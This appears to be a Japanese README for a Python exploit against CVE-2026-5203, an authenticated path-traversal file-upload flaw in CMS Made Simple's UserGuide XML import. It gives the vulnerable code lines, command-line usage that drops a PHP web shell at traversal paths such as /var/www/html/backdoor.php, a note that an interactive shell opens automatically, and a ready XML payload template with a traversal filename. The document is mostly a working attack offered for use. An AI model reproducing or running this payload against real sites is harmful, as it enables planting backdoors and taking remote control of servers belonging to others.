
CVE-2026-5203 用の Python エクスプロイト: CMS Made Simple ≤ 2.22 における認証済みパストラバーサルと任意ファイルアップロード。PHP Web シェルの展開によるリモートコード実行を可能にします。
CMS Made Simple ≤ 2.2.22 の UserGuide モジュールの XML インポート機能は、ユーザーが指定したファイル名をサニタイズしないため、認証された管理者がパストラバーサルシーケンスを介して任意のファイル(例:PHP ウェブシェル)をサーバーファイルシステム上の任意の場所にアップロードできます。
| フィールド | 値 |
|---|---|
| タイプ | パストラバーサル / 任意ファイルアップロード → RCE |
| コンポーネント | UserGuide モジュール — XML インポート |
| 影響を受けるファイル | modules/UserGuide/lib/class.UserGuideImporterExporter.php |
| CVSS v3.1 | 7.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| 認証要件 | はい(管理者) |
// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir = (string) $xmlFile->isdir;
関数は Base64 デコードされたコンテンツを攻撃者が制御するパスに直接書き込みます。
python exploit.py <base_url> <admin_url> <username> <password> [upload_path]
例:
# デフォルトパス
python exploit.py http://target.com http://target.com/admin admin password123
# カスタムアップロードパス
python exploit.py http://target.com http://target.com/admin admin password123 \
../../../../../../var/www/html/backdoor.php
アップロード後に Web シェルにアクセス可能な場合、インタラクティブシェルが自動的に起動します。
<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
<module>UserGuide</module>
<version>1.3</version>
<files>
<file>
<filename>../../../webshell.php</filename>
<isdir>0</isdir>
<data>[BASE64_ENCODED_PHP_CODE]</data>
</file>
</files>
</modulecontent>